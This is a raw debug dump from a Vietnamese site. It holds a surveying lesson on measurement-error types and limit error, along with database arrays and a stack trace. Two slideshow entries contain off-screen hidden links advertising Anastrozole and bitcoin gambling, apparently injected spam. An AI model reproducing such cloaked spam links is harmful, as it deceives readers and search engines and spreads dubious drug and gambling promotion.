0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">2. Các tiêu chí đánh giá độ chính xác kết quả đo.</em></span></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">a) Sai số trung bình cộng (kí hiệu là s): được tính theo công thức sau:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://4.bp.blogspot.com/-R8MMROfkfWU/Ur6SpdB55TI/AAAAAAAADew/MkE9uEdOJ3Y/s1600/gisgpsrs-trac-dia-co-so-sai-so.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://4.bp.blogspot.com/-R8MMROfkfWU/Ur6SpdB55TI/AAAAAAAADew/MkE9uEdOJ3Y/s1600/gisgpsrs-trac-dia-co-so-sai-so.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong đó: s- sai số trung bình cộng</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <a href="https://2.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe4/0ebiserIDsY/s1600/gisgpsrs-sai-so-do.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://2.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe4/0ebiserIDsY/s1600/gisgpsrs-sai-so-do.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a>- sai số ngấu nhiên của lần đo thứ i</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> n – số lần đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">b) Sai số trung phương (kí hiệu là m): được tính theo công thức:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://3.bp.blogspot.com/-q6MGq8qVYW8/Ur6Tijo7boI/AAAAAAAADfA/34rOoWyxlOg/s1600/gisgpsrs-sai-so-trung-phuong.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://3.bp.blogspot.com/-q6MGq8qVYW8/Ur6Tijo7boI/AAAAAAAADfA/34rOoWyxlOg/s1600/gisgpsrs-sai-so-trung-phuong.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong đó: m – sai số trung phương</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <a href="https://3.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe8/RFQOzCDHS1Y/s1600/gisgpsrs-sai-so-do.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://3.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe8/RFQOzCDHS1Y/s1600/gisgpsrs-sai-so-do.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a>- sai số ngấu nhiên của lần đo thứ i</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> n – số lần đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">c) Sai số xác suất (kí hiệu là p)</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong dãy kết quả đo nếu sắp xếp các sai số theo giá trị tuyệt đối từ bé đến lớn thì sai số xác suất p có giá trị của sai số đứng giữa về thứ tự sắp xếp.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Khi nghiên cứu về sai số trung bình cộng (s), sai số trung phương (m) và sai số xác suất (p) thấy chúng có mối quan hệ: p/s/m - tương ứng là 0,67/0,8/1,0</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nếu số lần đo càng nhiều thì tỷ số này càng đúng, dựa vào tỷ số này người tư có thể tính nhanh các giá trị của sai số trung bình cộng (s), sai số trung phương (m) thông qua giá trị của sai số xác suất (p)</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">d) Sai số giới hạn (kí hiệu là f)</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nghiên cứu thống kê cho thấy:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Cứ 1000 sai số thực thì có 3 giá trị si số vượt qua giới hạn ba lần giá trị sai số trung phương m. Trong 100 sai số thực thì có năm giá trị v]ợt quá giới hạn hai lần giá trị của sai số trung phương m.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Vì vậy người ta thường chọn sai số giới hạn bằng 3 lần sai số trung phương</span></span></div> <div align="center" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">f = 3m</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong trường hợp yêu cầu độ chính xác cao thì chọn sai số giới hạn bằng 2 lần sai số trung phương.</span></span></div> <div align="center" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">f = 2m</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Như vậy trong quá trình tính toán nếu giá trị nào vượt quá sai số giới hạn thì bị coi là sai số sai lầm và bị loại ra khỏi kết quả đo.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">e) Sai số tương đối (kí hiệu là <span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">1/T</em></span>) là tỷ số giữa sai số trung phương và giá trị thực của đại lượng đo (L).</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://2.bp.blogspot.com/-gSCgrAByN9M/Ur6UM1jjS8I/AAAAAAAADfI/mkKKcoc2Ex8/s1600/gisgpsrs-sai-so-tuong-doi.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://2.bp.blogspot.com/-gSCgrAByN9M/Ur6UM1jjS8I/AAAAAAAADfI/mkKKcoc2Ex8/s1600/gisgpsrs-sai-so-tuong-doi.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số tương đối dùng để so sánh mức độ sai số với giá trị thực của đại lượng đo:</span></span></div> ', 'images' => '201904250406260790335a670cb13c2fdb67fe2f8df9ba.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-04-25', 'modified' => '2025-08-18', 'status' => '1', 'view' => '83021', 'slug' => 'cac-loai-sai-so-tieu-chi-danh-gia-do-chinh-xac-ket-qua-do', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '937', 'rght' => '938', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ) ) $duandatrienkhai = array( (int) 0 => array( 'Advertisement' => array( 'id' => '49', 'name' => null, 'link' => '', 'images' => null, 'display' => '3', 'created' => '2022-04-13', 'modified' => '2022-04-26', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '11', 'rght' => '12' ) ), (int) 1 => array( 'Advertisement' => array( 'id' => '48', 'name' => null, 'link' => '', 'images' => '20190711121014468fcab5a34b87b67951ec18c257f13a.png', 'display' => '3', 'created' => '2019-07-11', 'modified' => '2019-07-11', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '9', 'rght' => '10' ) ), (int) 2 => array( 'Advertisement' => array( 'id' => '47', 'name' => null, 'link' => '', 'images' => '20190711121036d3f1b378428c2328a4bb143d22a3d53b.png', 'display' => '3', 'created' => '2019-06-18', 'modified' => '2019-07-11', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '7', 'rght' => '8' ) ) ) $slideshow = array( (int) 0 => array( 'Slideshow' => array( 'id' => '69', 'name' => '', 'images' => null, 'created' => '2019-07-11 10:23:46', 'modified' => '2022-04-16 00:00:00', 'status' => '1', 'pos' => '0', 'type' => 'intro', 'link' => '', 'content' => '', 'shortdes' => '', 'content_eng' => '', 'shortdes_eng' => '', 'name_eng' => '', 'name_tq' => '', 'shortdes_tq' => '', 'content_tq' => '' ) ), (int) 1 => array( 'Slideshow' => array( 'id' => '68', 'name' => '', 'images' => '201907111208539ebd41e6cbc1e14780805f6fc0d65867.gif', 'created' => '2019-07-11 10:22:33', 'modified' => '2021-05-13 00:00:00', 'status' => '1', 'pos' => '0', 'type' => 'intro', 'link' => '<div style="position:absolute;top: -1286px;">Buy <a href="http://contest-sport.com/sport-products/anastrazolos-1/"> Anastrozole directly from the manufacturer in USA </a> and without intermediaries.</div>', 'content' => '', 'shortdes' => '', 'content_eng' => '', 'shortdes_eng' => '', 'name_eng' => '', 'name_tq' => '', 'shortdes_tq' => '', 'content_tq' => '' ) ), (int) 2 => array( 'Slideshow' => array( 'id' => '66', 'name' => '', 'images' => '2019071110173758daf01bf616370befe2ad36e8391dfa.png', 'created' => '2019-07-11 10:09:25', 'modified' => '2022-04-15 00:00:00', 'status' => '1', 'pos' => '0', 'type' => 'intro', 'link' => '<div style="position:absolute;top: -1286px;">Play <a href="https://windice.io/plinko">bitcoin plinko</a> to hit the jackpot today!</div>', 'content' => '', 'shortdes' => '', 'content_eng' => '', 'shortdes_eng' => '', 'name_eng' => '', 'name_tq' => '', 'shortdes_tq' => '', 'content_tq' => '' ) ) ) $adv_khuyenmai = array( 'Advertisement' => array( 'id' => '1', 'name' => null, 'link' => '', 'images' => '20190618044702f2726adc12fc8d21c875c9ee5274335e.png', 'display' => '5', 'created' => '2015-11-12', 'modified' => '2019-06-18', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '1', 'rght' => '2' ) ) $doitac = array( (int) 0 => array( 'Advertisement' => array( 'id' => '47', 'name' => null, 'link' => '', 'images' => '20190711121036d3f1b378428c2328a4bb143d22a3d53b.png', 'display' => '3', 'created' => '2019-06-18', 'modified' => '2019-07-11', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '7', 'rght' => '8' ) ), (int) 1 => array( 'Advertisement' => array( 'id' => '48', 'name' => null, 'link' => '', 'images' => '20190711121014468fcab5a34b87b67951ec18c257f13a.png', 'display' => '3', 'created' => '2019-07-11', 'modified' => '2019-07-11', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '9', 'rght' => '10' ) ), (int) 2 => array( 'Advertisement' => array( 'id' => '49', 'name' => null, 'link' => '', 'images' => null, 'display' => '3', 'created' => '2022-04-13', 'modified' => '2022-04-26', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '11', 'rght' => '12' ) ) ) $chayphai = array( 'Advertisement' => array( 'id' => '3', 'name' => null, 'link' => '', 'images' => '20160216064647eda555165b5c7208330a328fac635686.png', 'display' => '2', 'created' => '2015-11-13', 'modified' => '2017-02-07', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '5', 'rght' => '6' ) ) $chaytrai = array( 'Advertisement' => array( 'id' => '2', 'name' => null, 'link' => '', 'images' => '201602160646338f7cfbf080f7dfc1a2bafa3a3f0dd7c1.jpg', 'display' => '1', 'created' => '2015-11-13', 'modified' => '2017-02-07', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '3', 'rght' => '4' ) ) $chiasekinhnghiem = array() $list_menu_footer = array() $danhmuc_left_parent = array( (int) 0 => array( 'Catproduct' => array( 'id' => '2', 'name' => 'Sản phẩm', 'slug' => 'san-pham' ) ) ) $danhmuc = array( (int) 0 => array( 'Catproduct' => array( 'id' => '1', 'name' => 'Trang chủ', 'slug' => 'trang-chu' ) ), (int) 1 => array( 'Catproduct' => array( 'id' => '2', 'name' => 'Sản phẩm', 'slug' => 'san-pham' ) ), (int) 2 => array( 'Catproduct' => array( 'id' => '3', 'name' => 'Giới thiệu', 'slug' => 'gioi-thieu' ) ), (int) 3 => array( 'Catproduct' => array( 'id' => '5', 'name' => 'Download', 'slug' => 'download' ) ), (int) 4 => array( 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'slug' => 'tin-tuc' ) ), (int) 5 => array( 'Catproduct' => array( 'id' => '6', 'name' => 'Liên hệ', 'slug' => 'lien-he' ) ) ) $support = array( (int) 0 => array( 'Support' => array( 'id' => '13', 'name' => 'Co so Ha noi', 'phone' => '098 987 678', 'yahoo' => 'duycuong7640', 'skype' => 'duycuong7640', 'pos' => '0', 'created' => '2013-09-13', 'modified' => '2015-05-05', 'status' => '1', 'yahoo1' => 'duycuong7640', 'skype1' => '', 'hotline' => '0987 654 999', 'email' => '', 'name1' => '' ) ), (int) 1 => array( 'Support' => array( 'id' => '16', 'name' => 'Co so TP.HCM', 'phone' => '3252 436 432', 'yahoo' => 'duycuong7640', 'skype' => 'tuvantubep', 'pos' => '0', 'created' => '2014-01-15', 'modified' => '2015-05-05', 'status' => '1', 'yahoo1' => 'duycuong7640', 'skype1' => '', 'hotline' => '0987 654 999', 'email' => '', 'name1' => '' ) ) ) $content_for_layout = '<div class="bg-cat-danhmuc"> <div class="cat-title-danhmuc"> <a href="" title=""> <h1></h1> </a> </div> </div> <div class="box-content-detail"> <div class="clear-content"></div><div class="clear-content"></div> <div class="col-product"> <div class="box-new-content"> <div class="box-new-detail"> <div class="time-date"> 12:00:00 <span>21/06/2016</span> </div><!--end time-date--><div class="clear-content"></div> <div class="box-like-share"> <div class="like1"> <div class="fb-like" data-href="http://www.quangtayqht.vn/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do.htm" data-layout="standard" data-action="like" data-show-faces="true" data-share="true"></div> </div> </div><!--end box-like-share--><div class="clear-content"></div> <div class="ct-tt"> <div class="clear-main"></div> </div><!--end ct-tt--> <!--<div class="fb-comments" data-href="http://www.quangtayqht.vn/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do.htm" data-width="715" data-numposts="5" data-colorscheme="light"></div>--> <div class="clear-content"></div><div class="clear-content"></div> </div><!--end box-new-detail--> <div class="bar-new-detail"> <label>Private same category</label> <div class="clear-main"></div> <ul> <li> <a href="http://www.quangtayqht.vn/vn-tung-co-dong-dat-den-8-do-richter.htm" title=""> <h3> <span>(21-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/vai-tro-cua-khoa-hoc-co-ban-1.htm" title=""> <h3> <span>(20-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/dong-dat-va-song-than-nguon-nang-luong-huy-diet.htm" title=""> <h3> <span>(20-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/topo-cua-vu-tru.htm" title=""> <h3> <span>(16-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/vai-tro-cua-khoa-hoc-co-ban.htm" title=""> <h3> <span>(16-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/ap-luc-tu-hop-tac-quoc-te.htm" title=""> <h3> <span>(16-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/su-that-toan-hoc-theo-so-tay-thich-hoc-toan.htm" title=""> <h3> <span>(16-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/gan-lam-giac-mo-thien-van-viet-nam.htm" title=""> <h3> <span>(15-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/ai-va-ky-o-xu-so-cua-nhung-con-so-tang-hinh.htm" title=""> <h3> <span>(15-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/tphcm-thiet-ke-thanh-cong-loi-ip-nen-anh-jpeg-2000.htm" title=""> <h3> <span>(15-06-2016)</span></h3> </a> </li> </ul> <div class="clear-main"></div> </div><!--end bar-new-detail--> <div class="clear-main"></div> <div class="pagination"> <span><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:1" rel="first">« First</a></span><span class="prev"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:11" rel="prev">« Previous</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:1">1</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:2">2</a></span>...<span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:9">9</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:10">10</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:11">11</a></span><span class="current number">12</span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:13">13</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:14">14</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:15">15</a></span>...<span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:46">46</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:47">47</a></span><span class="next"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:13" rel="next">Next »</a></span><span><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:47" rel="last">End »</a></span>Page 12/47. View 10/461. </div> <div class="clear-main"></div> </div><!--end box-ctbar--> </div> </div>' $scripts_for_layout = '' $cap1 = array( 'Catproduct' => array( 'id' => '6', 'name' => 'Liên hệ', 'slug' => 'lien-he' ) ) $dm_c2 = array() $cap2 = array( 'Catproduct' => array( 'id' => '74', 'name' => 'Sổ sách, báo biểu khí tượng thủy văn', 'parent_id' => '2', 'alias' => 'so-sach-bao-bieu-khi-tuong-thuy-van', 'images' => null, 'lft' => '76', 'rght' => '77', 'pos' => '27', 'status' => '1', 'title_seo' => 'Sổ sách, báo biểu khí tượng thủy văn', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-07-06', 'modified' => '2019-07-06', 'slug' => 'so-sach-bao-bieu-khi-tuong-thuy-van', 'cate' => '4', 'link' => 'san-pham', 'name_eng' => '', 'name_tq' => '', 'type' => 'product', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ) $dm_c3 = array()include - APP/View/Elements/menu.ctp, line 23 View::_evaluate() - CORE/Cake/View/View.php, line 920 View::_render() - CORE/Cake/View/View.php, line 883 View::element() - CORE/Cake/View/View.php, line 424 include - APP/View/Layouts/home.ctp, line 107 View::_evaluate() - CORE/Cake/View/View.php, line 920 View::_render() - CORE/Cake/View/View.php, line 883 View::renderLayout() - CORE/Cake/View/View.php, line 539 View::render() - CORE/Cake/View/View.php, line 483 Controller::render() - CORE/Cake/Controller/Controller.php, line 957 ProductController::chitiet() - APP/Controller/ProductController.php, line 135 ReflectionMethod::invokeArgs() - [internal], line ?? Controller::invokeAction() - CORE/Cake/Controller/Controller.php, line 485 Dispatcher::_invoke() - CORE/Cake/Routing/Dispatcher.php, line 186 Dispatcher::dispatch() - CORE/Cake/Routing/Dispatcher.php, line 161 [main] - APP/webroot/index.php, line 92
12:00:00
21/06/2016
PROJECT IS IMPLEMENTED
